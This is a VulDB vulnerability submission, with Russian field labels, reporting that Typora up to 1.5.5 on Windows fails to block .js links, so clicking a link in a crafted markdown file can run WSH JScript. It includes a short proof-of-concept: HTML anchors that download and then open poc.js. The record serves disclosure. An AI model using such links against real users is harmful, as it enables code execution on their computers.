| Название | Typora on Windows fails to properly filter WSH JScript, which may result in code execution |
|---|
| Описание | Although typora filters most dangeruos suffix, it still retains the .js file which will be recognized as WSH(Windows Script Host) JScript on Windows operating system. Users click on evil markdown file may cause code execution.
Version
0.9.78-1.5.5(latest)
PoC(markdown file)
Local
<a href="poc.js">Click me to execute JScript</a>
Remote
<a href="http://127.0.0.1:8000/poc.html" download="poc.js">1.Click me to download JScript</a>
<a href="./poc.js">2.Click me to execute JScript
For more details, please click the announcement. |
|---|
| Источник | ⚠️ https://github.com/typora/typora-issues/issues/5623 |
|---|
| Пользователь | Tom23 (UID 41413) |
|---|
| Представление | 20.02.2023 13:11 (4 лет назад) |
|---|
| Модерация | 24.02.2023 08:53 (4 days later) |
|---|
| Статус | принято |
|---|
| Запись VulDB | 221736 [Typora до 1.5.5 на Windows WSH JScript эскалация привилегий] |
|---|
| Баллы | 20 |
|---|